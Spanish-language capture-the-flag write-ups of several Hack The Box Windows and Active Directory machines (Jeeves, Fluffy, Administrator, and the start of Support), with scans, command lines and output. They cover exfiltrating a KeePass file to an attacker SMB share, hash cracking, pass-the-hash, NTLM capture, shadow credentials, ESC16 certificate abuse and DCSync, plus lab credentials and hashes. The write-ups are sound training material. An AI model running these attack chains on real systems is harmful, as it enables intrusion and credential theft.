|_ Potentially risky methods: TRACE
|_http-title: Ask Jeeves
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
50000/tcp open http syn-ack ttl 127 Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Service Info: Host: JEEVES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 5h00m03s, deviation: 0s, median: 5h00m02s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 33742/tcp): CLEAN (Timeout)
| Check 2 (port 23387/tcp): CLEAN (Timeout)
| Check 3 (port 64279/udp): CLEAN (Timeout)
| Check 4 (port 23548/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2026-01-20T20:14:36
|_ start_date: 2026-01-20T20:09:27

Tenemos dos puertos web principales:

Puerto 80 (IIS): Muestra una página de búsqueda “Ask Jeeves” que da error al intentar buscar.

Puerto 50000 (Jetty): Muestra un error 404 por defecto.

Este error indica que hay un servidor web ejecutándose en tu puerto 50000, pero no hay ninguna página o contenido configurado en la raíz (/).

Realizamos Fuzzing de directorios en ambos puertos. El puerto 50000 no arroja resultados, pero el puerto 80 revela algo interesante.

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.79.44:50000/FUZZ ---- NO ENCONTRAMOS NADA

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.129.79.44/FUZZ ---- askjeeves [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 54ms]

Acceso Inicial (Jenkins)

Al acceder a http://10.129.79.44/askjeeves, encontramos un servidor de automatización Jenkins (versión 2.87).

Explotación de Groovy Script Console

No se requieren credenciales. Podemos acceder a Manage Jenkins -> Script Console. Esta consola permite ejecutar scripts en Groovy, lo cual equivale a ejecución de comandos en el sistema.

Probamos una Reverse Shell en Groovy:

Conseguimos acceso como el usuario: jeeves\kohsuke.

Enumeramos buscando la user flag que la encontramos en el directorio ‘Desktop’ de este mismo usuario.

Enumerando el sistema de archivos de kohsuke, encontramos un archivo interesante en el directorio ‘Documents’:

La extensión .kdbx pertenece a KeePass, que es un gestor de contraseñas de código abierto.

Post-Explotación y Movimiento Lateral

Exfiltración con SMBServer

Levantamos un servidor SMB en Kali y copiamos el archivo desde la máquina víctima.

En Kali (Atacante):

sudo impacket-smbserver share -smb2support /home/kali//Desktop/HTB/Jeeves/loot/share

...

[*] User JEEVES\kohsuke authenticated successfully
[*] kohsuke::JEEVES:aaaaaaaaaaaaaaaa:7507b33e1ec7eb5636215c53f6838840:0101000000000000003f85a8258adc014b20a5279bb7f11d000000000100100046006d0075004f006f00700048006e000300100046006d0075004f006f00700048006e000200100077004b007800780061005600580068000400100077004b0078007800610056005800680007000800003f85a8258adc0106000400020000000800300030000000000000000000000000300000d25ba4cb43338289e6e027ea75d7d00fae7f01ff23696236086241c02e9b50070a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0034003400000000000000000000000000
[*] Connecting Share(1:share)


En Windows (Víctima):

C:\Users\kohsuke\Documents>copy CEH.kdbx \\10.10.15.44\share\
copy CEH.kdbx \\10.10.15.44\share\
 1 file(s) copied.

Cracking KeePass

Primero extraemos el hash del archivo .kdbx y luego lo crackeamos con John the Ripper.

john --format=keepass keepass.hash -w=/usr/share/wordlists/seclists/rockyou.txt

Loaded 1 password hash (KeePass [SHA256 AES 32/64])

moonshine1 (CEH)

Inspección de Credenciales (Kpcli)

Usamos kpcli para abrir la base de datos con la contraseña obtenida.

Podemos ver las credenciales.

Si las copiamos las tenemos en el copiapapeles.

kpcli:/CEH> show 0

Title: Backup stuff
Uname: ?
 Pass: aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
  URL: 
Notes: 

kpcli:/CEH> show -p 4
Unknown option: p

Title: It's a secret
Uname: admin
 Pass: F7WhTrSFDKB6sxHU1cUn
  URL: http://localhost:8180/secret.jsp
Notes: 

Title: Keys to the kingdom
Uname: bob
 Pass: lCEUnYPjNfIuPZSzOySA
 URL:
Notes:

Escalada de Privilegios (Pass The Hash)

El hash encontrado en “Backup stuff” es un hash NTLM. Podemos usar la técnica Pass The Hash (PtH) para autenticarnos como Administrador sin saber la contraseña en texto claro.

¡Éxito! Obtenemos una shell como nt authority\system.

Pues parece que no hemos acabado …

El “Rabbit Hole” de la Root Flag (ADS)

Al ir al directorio del Administrador (C:\Users\Administrator\Desktop), encontramos un archivo hm.txt pero no está la flag root.txt.

Al leer hm.txt, nos da una pista sobre “mirar más profundo”. Esto hace referencia a los Alternate Data Streams (ADS) de NTFS.

Concepto: ADS
En NTFS, un archivo puede tener múltiples flujos de datos adjuntos. El flujo principal es $DATA, pero se pueden ocultar datos detrás del archivo principal, invisibles para un dir normal o el explorador de Windows.

¿Cómo funcionan los ADS?

En un sistema NTFS, un archivo se identifica por el formato nombre_archivo:nombre_stream.

Flujo estándar: Cuando abres archivo.txt, en realidad estás abriendo archivo.txt:$DATA.
Flujo alternativo: Puedes crear algo como archivo.txt:secreto.txt.

Leer el contenido del flujo oculto

No se puede usar type directamente sobre el stream. usamos el comando more :

more < hm.txt:root.txt

Ahora si conseguimos la root flag!

Fluffy (Easy)

admin@synacklabs.github.io (SynAckLabs) — Mon, 19 Jan 2026 00:00:00 +0000

Resumen

Esta máquina es un Domain Controller de Active Directory. Empiezo con unas credenciales iniciales para enumerar SMB, encuentro un share con material (incluyendo un PDF con CVEs) y abuso CVE-2025-24071 para forzar una autenticación SMB y capturar un hash NTLMv2. Tras crackearlo, uso BloodHound para identificar un camino de escalada vía permisos GenericWrite, realizo Shadow Credentials con Certipy para obtener hashes NT, y finalmente abuso una mala configuración de AD CS identificada como ESC16 para impersonar a Administrator.

Credenciales iniciales

Credenciales dadas: j.fleischman:J0elTHEM4n1990!

Escaneo

53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2026-01-19 23:10:55Z)
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-01-19T23:12:24+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2026-01-19T23:12:25+00:00; +7h00m03s from scanner time.
| ssl-cert: Subject: commonName=DC01.fluffy.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.fluffy.htb
| Issuer: commonName=fluffy-DC01-CA/domainComponent=fluffy
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-17T16:04:17
| Not valid after: 2026-04-17T16:04:17
| -----BEGIN CERTIFICATE-----
| MIIGJzCCBQ+gAwIBAgITUAAAAAJKRwEaLBjVaAAAAAAAAjANBgkqhkiG9w0BAQsF
| ...
|_-----END CERTIFICATE-----
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: fluffy.htb0., Site: Default-First-Site-Name)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49691/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49699/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49709/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49723/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Enumeración SMB

Confirmo que es una máquina de AD y tiro por SMB.

┌──(root㉿kali)-[/home/…/Desktop/HTB/Fluffy/loot]
└─# nxc smb 10.129.78.23 -u j.fleischman -p 'J0elTHEM4n1990!' --shares
SMB 10.129.78.23 445 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)
SMB 10.129.78.23 445 DC01 [+] fluffy.htb\j.fleischman:J0elTHEM4n1990!
SMB 10.129.78.23 445 DC01 [*] Enumerated shares
SMB 10.129.78.23 445 DC01 Share Permissions Remark
SMB 10.129.78.23 445 DC01 ----- ----------- ------
SMB 10.129.78.23 445 DC01 ADMIN$ Remote Admin
SMB 10.129.78.23 445 DC01 C$ Default share
SMB 10.129.78.23 445 DC01 IPC$ READ Remote IPC
SMB 10.129.78.23 445 DC01 IT READ,WRITE
SMB 10.129.78.23 445 DC01 NETLOGON READ Logon server share
SMB 10.129.78.23 445 DC01 SYSVOL READ Logon server share

Veo que el share IT tiene permisos de escritura, así que entro a mirar contenido:

smbclient '//10.129.78.23/IT' -U fluffy.htb/j.fleischman%J0elTHEM4n1990!
Try "help" to get a list of possible commands.
smb: \> DIR
 . D 0 Tue Jan 20 00:12:04 2026
 .. D 0 Tue Jan 20 00:12:04 2026
 Everything-1.4.1.1026.x64 D 0 Fri Apr 18 17:08:44 2025
 Everything-1.4.1.1026.x64.zip A 1827464 Fri Apr 18 17:04:05 2025
 KeePass-2.58 D 0 Fri Apr 18 17:08:38 2025
 KeePass-2.58.zip A 3225346 Fri Apr 18 17:03:17 2025
 Upgrade_Notice.pdf A 169963 Sat May 17 16:31:07 2025

 5842943 blocks of size 4096. 1530895 blocks available

PDF con CVEs

En el share aparece un PDF con vulnerabilidades. Me lo descargo y veo lo siguiente:

CVE ID
CVE-2025-24996--Critical
CVE-2025-24071--Critical
CVE-2025-46785--High
CVE-2025-29968--High
CVE-2025-21193--Medium
CVE-2025-3445--Low

La que más me interesa aquí es CVE-2025-24071:

Windows Explorer automatically initiates an SMB authentication request when a
.library-ms file is extracted from a ZIP archive. This causes NTLM credentials
(in hashed format) to be leaked to a remote SMB server controlled by the attacker.
No user interaction is required beyond extraction.

Uso este exploit:

https://www.exploit-db.com/exploits/52310

Captura de hash NTLMv2 con Responder

Genero el ZIP malicioso y lo subo al share IT (tengo escritura). En paralelo levanto Responder para capturar la autenticación.

smbclient '//10.129.78.23/IT' -U fluffy.htb/j.fleischman%J0elTHEM4n1990!
Try "help" to get a list of possible commands.
smb: \> put malicious.zip
putting file malicious.zip as \malicious.zip (2.0 kb/s) (average 2.0 kb/s)

Espero unos segundos y recibo el hash:

[SMB] NTLMv2-SSP Client : 10.129.78.23
[SMB] NTLMv2-SSP Username : FLUFFY\p.agila
[SMB] NTLMv2-SSP Hash : p.agila::FLUFFY:f74081931ace9d2a:B7AE54D953F98A9BAA7AF1FFA9A66B7E:0101000000000000802CFE656989DC01C70A4C638403E30B0000000002000800370039005800330001001E00570049004E002D003200500045004D0043004A00420048004F003600570004003400570049004E002D003200500045004D0043004A00420048004F00360057002E0037003900580033002E004C004F00430041004C000300140037003900580033002E004C004F00430041004C000500140037003900580033002E004C004F00430041004C0007000800802CFE656989DC01060004000200000008003000300000000000000001000000002000009A1D51B76B59C74DF9A070F2C83658F60E9885997FEED0398370D04783BA2D0C0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310035002E00340034000000000000000000

Crackeo con hashcat (modo -m 5600) y obtengo la contraseña:

P.AGILA::FLUFFY:f74081931ace9d2a:b7ae54d953f98a9baa7af1ffa9a66b7e:0101000000000000802cfe656989dc01c70a4c638403e30b0000000002000800370039005800330001001e00570049004e002d003200500045004d0043004a00420048004f003600570004003400570049004e002d003200500045004d0043004a00420048004f00360057002e0037003900580033002e004c004f00430041004c000300140037003900580033002e004c004f00430041004c000500140037003900580033002e004c004f00430041004c0007000800802cfe656989dc01060004000200000008003000300000000000000001000000002000009a1d51b76b59c74df9a070f2c83658f60e9885997feed0398370d04783ba2d0c0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e00340034000000000000000000:prometheusx-303

p.agila:prometheusx-303

BloodHound: path de escalada

No encuentro demasiado enumerando directamente con este usuario, así que tiro de rusthound-ce y analizo con BloodHound.

rusthound-ce -u p.agila -p 'prometheusx-303' --domain fluffy.htb

Veo un camino claro hacia ca_svc (miembro de cert publisher) desde p.agila.

Aprovecho permisos para añadir p.agila al grupo service accounts:

bloodyAD -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --host 10.129.78.23 add groupMember 'service accounts' p.agila

Kerberoasting dirigido (targetedKerberoast)

Ahora uso targetedKerberoast.py para extraer hashes. Antes sincronizo reloj.

┌──(root㉿kali)-[/home/…/Desktop/HTB/Fluffy/loot]
└─# ntpdate fluffy.htb && 
targetedKerberoast.py
 -v -d 'fluffy.htb' -u 'p.agila' -p 'prometheusx-303'

2026-01-20 00:56:56.676545 (+0100) +25199.665597 +/- 0.037951 fluffy.htb 10.129.78.23 s1 no-leap
CLOCK: time stepped by 25199.665597
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (ca_svc)
$krb5tgs$23$*ca_svc$FLUFFY.HTB$fluffy.htb/ca_svc*$6b56d380186cf766215630dc2a4a2509$...
[+] Printing hash for (ldap_svc)
$krb5tgs$23$*ldap_svc$FLUFFY.HTB$fluffy.htb/ldap_svc*$170ab6e4fc848133b7b3af897c0300c2$...
[+] Printing hash for (winrm_svc)
$krb5tgs$23$*winrm_svc$FLUFFY.HTB$fluffy.htb/winrm_svc*$19c1771a343c902076eee1003cf0e4d5$...

Intento crackear, pero no saco nada útil.

Shadow Credentials con Certipy

Cambio de enfoque y pruebo Shadow Credentials. La idea aquí es modificar el atributo msDS-KeyCredentialLink para poder autenticarse con PKINIT sin conocer la contraseña.

Ejecuto:

ntpdate -u fluffy.htb && certipy-ad shadow auto -username p.agila@fluffy.htb -password 'prometheusx-303' -account ca_svc
2026-01-20 01:08:18.579036 (+0100) +25199.672015 +/- 0.024036 fluffy.htb 10.129.78.23 s1 no-leap
CLOCK: time stepped by 25199.672015
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '224a33db-8f3b-e338-547f-7e9041c661cd'
[*] Adding Key Credential with device ID '224a33db-8f3b-e338-547f-7e9041c661cd' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '224a33db-8f3b-e338-547f-7e9041c661cd' to the Key Credentials for 'ca_svc'
[*] Authenticating as 'ca_svc' with the certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[-] Got error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Use -debug to print a stacktrace

Aunque aquí no saco el NT hash por el clock skew, sí obtengo un TGT. Luego vuelvo atrás para corregir la parte de sincronización y generar el .pfx.

ntpdate -u fluffy.htb && certipy-ad shadow add -username p.agila@fluffy.htb -password 'prometheusx-303' -account ca_svc -dc-ip 10.129.78.23

[*] Targeting user 'ca_svc'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '50de2216-d7b5-75e9-0e19-555d205a9a10'
[*] Adding Key Credential with device ID '50de2216-d7b5-75e9-0e19-555d205a9a10' to the Key Credentials for 'ca_svc'
[*] Successfully added Key Credential with device ID '50de2216-d7b5-75e9-0e19-555d205a9a10' to the Key Credentials for 'ca_svc'
[*] Saved certificate and private key to 'ca_svc.pfx'

Con el .pfx ya puedo pedir el hash NT:

ntpdate -u fluffy.htb && certipy-ad auth -pfx ca_svc.pfx -dc-ip 10.129.78.23 -username ca_svc -domain fluffy.htb


[!] Could not find identification in the provided certificate
[*] Using principal: ca_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'ca_svc.ccache'
[*] Trying to retrieve NT hash for 'ca_svc'
[*] Got hash for 'ca_svc@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:ca0f4f9e9eb8a092addf53bb03fc98c8

A partir de aquí, asumo que tengo delante una infraestructura AD CS (por la cuenta de servicio de CA).

Enumeración AD CS y detección de ESC16

Busco plantillas/vulnerabilidades con Certipy:

certipy-ad find -u 'ca_svc' -hashes ':ca0f4f9e9eb8a092addf53bb03fc98c8' -dc-ip 10.129.78.23 -vulnerable -enabled -stdout


...

 [!] Vulnerabilities
 ESC16 : Security Extension is disabled.
 [*] Remarks
 ESC16 : Other prerequisites may be required for this to
be exploitable. See the wiki for more details.
Certificate Templates : [!] Could not find any certificate templates

Aquí dejo el extracto de la wiki que estuve siguiendo para ESC16 (tal cual lo apunté):

“Exploitation with Certipy

The exploitation mechanisms for ESC16 are identical to those for ESC9 because the end result - a certificate lacking the SID security extension - is the same. The important difference is that for ESC16, any certificate template enabling client authentication and issued by this misconfigured CA can be used in the UPN manipulation attack, not just a template specifically flagged with CT_FLAG_NO_SECURITY_EXTENSION.

Scenario A: UPN Manipulation (Requires StrongCertificateBindingEnforcement = 1 (Compatibility) or 0 (Disabled) on DCs, and attacker has write access to a “victim” account’s UPN)

Attacker (attacker@corp.local) has GenericWrite permission over a “victim” account (victim@corp.local). The victim account can enroll in any suitable client authentication template (e.g., the default “User” template) on the ESC16-vulnerable CA. The target for impersonation is administrator@corp.local.

Step 1: Read initial UPN of the victim account (Optional - for restoration).

certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -user 'victim' \
 read

Expected Output Snippet:

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Reading attributes for 'victim':
 cn : Victim
 userPrincipalName : victim@CORP.LOCAL
...

Step 2: Update the victim account’s UPN to the target administrator’s sAMAccountName****.

certipy account \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -upn 'administrator' \
 -user 'victim' update

Expected Output Snippet:

Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Updating user 'victim':
 userPrincipalName : administrator
[*] Successfully updated 'victim'

Step 3: (If needed) Obtain credentials for the “victim” account (e.g., via Shadow Credentials).

certipy shadow \
 -u 'attacker@corp.local' -p 'Passw0rd!' \
 -dc-ip '10.0.0.100' -account 'victim' \
 auto

Expected Output Snippet:

Certipy v5.0.0 - by Oliver Lyak (ly4k)
...
[*] Saving credential cache to 'victim.ccache'
[*] Wrote credential cache to 'victim.ccache'
[*] NT hash for 'victim': fc525c9683e8fe067095ba2ddc971889

Step 4: Request a certificate as the “victim” user from any suitable client authentication template (e.g., “User”) on the ESC16-vulnerable CA. Because the CA is vulnerable to ESC16, it will automatically omit the SID security extension from the issued certificate, regardless of the template’s specific settings for this extension. Set the Kerberos credential cache environment variable (shell command):
```
export KRB5CCNAME=victim.ccache
```
Then request the certificate:
```
certipy req \
 -k -dc-ip '10.0.0.100' \
 -target 'CA.CORP.LOCAL' -ca 'CORP-CA' \
 -template 'User'
```
Expected Output Snippet:

`Certipy v5.0.0 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC [*] Request ID is 1 [*] Successfully requested certificate [*] Got certificate with UPN ‘administrator@corp.local’ [*] Certificate has no object SID [*] Try using -sid to set the object SID or see the wiki for more details [*] Saving certificate and private key to ‘administrator.pfx’ [*] Wrote certificate and private key to ‘administrator.pfx’` ”

Ajuste de tiempo y hash de winrm_svc

Necesito maniobrar rápido (porque p.agila vuelve a su estado normal en poco tiempo), así que saco el hash de winrm_svc para trabajar más cómodo.

faketime -f +7h certipy-ad auth -pfx winrm_svc.pfx -dc-ip 10.129.78.23 -username winrm_svc -domain fluffy.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[!] Could not find identification in the provided certificate
[*] Using principal: winrm_svc@fluffy.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_svc.ccache'
[*] Trying to retrieve NT hash for 'winrm_svc'
[*] Got hash for 'winrm_svc@fluffy.htb': aad3b435b51404eeaad3b435b51404ee:33bd09dcd697600edf6b3a7af4875767

Nota: aquí uso faketime para “fakear” la hora y evitar problemas de Kerberos (porque ntpupdate no me estaba funcionando correctamente). Así me salto parte del lío de sincronización.

User flag (WinRM)

Con esa cuenta entro por evilwin-rm y obtengo la user flag.

ESC16: UPN manipulation + certificado de Administrator

Modifico el UPN de ca_svc y lo pongo como administrator

Hago el request del certificado y puedo impersonar a Administrator.

Después tengo que revertir el UPN de ca_svc a otro valor para que el nombre administrator vuelva a apuntar al Administrador real.

Revierto el UPN de ca_svc:

certipy-ad account -u 'winrm_svc' -hashes '33bd09dcd697600edf6b3a7af4875767' -dc-ip '10.129.78.23' -user 'ca_svc' -upn 'ca_svc_restored' update

Y me autentico con el certificado de Administrator:

faketime -f +7h certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.78.23 -domain fluffy.htb

Lo tengo.

Administrator (Medium)

admin@synacklabs.github.io (SynAckLabs) — Sat, 17 Jan 2026 00:00:00 +0000

Resumen

Esta máquina es una muy buena introducción a Active Directory si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por WinRM, enumeramos el dominio con RustHound/BloodHound, abusamos de ACLs (GenericAll / ForceChangePassword) para pivotar entre usuarios, recuperamos credenciales desde un backup en FTP y terminamos con una cadena clásica hacia DCSync para obtener el hash de Administrator.

Aunque en HTB aparece como Medium, no me parece una máquina complicada. La dificultad real está en entender el camino de AD y qué significa cada permiso, más que en la explotación en sí.

Enumeración

Arrancamos con un escaneo de puertos que ya nos da una pista clara: es un DC (Kerberos, LDAP, SMB, WinRM, etc.).

PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
...
Service Info: Host: DC; OS: Windows

SMB (445)

Con las credenciales proporcionadas podemos autenticarnos, pero la enumeración inicial no muestra nada especialmente útil.

nxc smb 10.129.75.64 -u Olivia -p 'ichliebedich' --shares
...
Share Permissions Remark
ADMIN$
C$
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share

nxc smb 10.129.75.64 -u Olivia -p 'ichliebedich' --users
...
olivia
michael
benjamin
emily
ethan
alexander
emma

Acceso inicial por WinRM

El siguiente paso lógico es probar WinRM, y efectivamente con Olivia podemos entrar.

nxc winrm 10.129.75.64 -u Olivia -p 'ichliebedich'
WINRM 10.129.75.64 5985 DC [+] administrator.htb\Olivia:ichliebedich (Pwn3d!)

Enumeración de AD con RustHound + BloodHound

Una vez dentro, enumeramos el dominio con RustHound-CE y luego lo analizamos con BloodHound.

rusthound-ce --domain administrator.htb -u olivia@administrator.htb -z
...
MachineAccountQuota: 10
... .//20260117114901_administrator-htb_
rusthound-ce.zip
 created!

En el grafo vemos que Olivia tiene GenericAll sobre el usuario Michael. En la práctica, esto nos permite forzar el cambio de contraseña del usuario sin conocer la actual.

“The GenericAll permission grants OLIVIA@ADMINISTRATOR.HTB the ability to change the password of the user MICHAEL@ADMINISTRATOR.HTB without knowing their current password.”

Pivot 1: Olivia → Michael (ForceChangePassword)

Subimos PowerView.ps1 (por ejemplo, con upload desde evil-winrm) y cambiamos la contraseña de Michael usando las credenciales de Olivia.

$SecPassword = ConvertTo-SecureString 'ichliebedich' -AsPlainText -Force
$Cred = New-Object
System.Management
.Automation.PSCredential('ADMINISTRATOR\\olivia', $SecPassword)

$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $Cred

Con esto ya tenemos acceso como michael.

Pivot 2: Michael → Benjamin

Siguiendo el camino del grafo, repetimos la misma idea: Michael puede forzar el cambio de password de Benjamin.

FTP: recuperamos un backup de credenciales

Con Benjamin vemos algo nuevo: acceso a FTP, donde encontramos un archivo de backup.

ftp> dir
...
10-05-24 08:13AM 952 Backup.psafe3

El archivo es una base de datos de Password Safe V3.

file Backup.psafe3
Backup.psafe3: Password Safe V3 database

Extraemos el hash y lo crackeamos.

Abrimos el gestor y obtenemos 3 credenciales:

alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur

Camino a Domain Admin

En BloodHound, mirando el Shortest Path to Domain Admin, vemos una ruta clara:

Emily tiene GenericWrite sobre Ethan.
Si comprometemos Ethan, podemos hacer DCSync para dumpear los hashes del dominio.

Intento: Shadow Credentials (no soportado)

Probamos Shadow Credentials, pero el KDC no soporta autenticación con certificados y falla con:

minikerberos.protocol.errors.KerberosError: Error Name: KDC_ERR_PADATA_TYPE_NOSUPP

Alternativa: Kerberoasting dirigido

Sin Shadow Credentials, seguimos por Kerberoasting. Primero sincronizamos la hora para evitar problemas con Kerberos.

sudo ntpdate -u 10.129.75.64 && python
targetedKerberoast.py
 -v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'

Crackeamos el hash y obtenemos la password:

hashcat -m 13100 ethan.hash /usr/share/wordlists/seclists/rockyou.txt --> limpbizkit

DCSync y escalada final

Con Ethan hacemos DCSync para obtener los hashes del dominio.

impacket-secretsdump -outputfile administrator_hashes -just-dc administrator/ethan@10.129.75.64

Finalmente hacemos PtH con el hash de Administrator y quedamos pwned.

Support (Easy)

admin@synacklabs.github.io (SynAckLabs) — Tue, 13 Jan 2026 00:00:00 +0000

Resumen

Write-up de la máquina Support (Easy). Incluye enumeración, extracción de credenciales, acceso como usuario y escalada mediante RBCD.

Enumeración

Escaneo de puertos

PORT STATE SERVICE REASON VERSION
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2025-12-26 16:39:41Z)
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49680/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
49692/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49697/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49714/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| p2p-conficker:
| Checking for Conficker.C or higher...
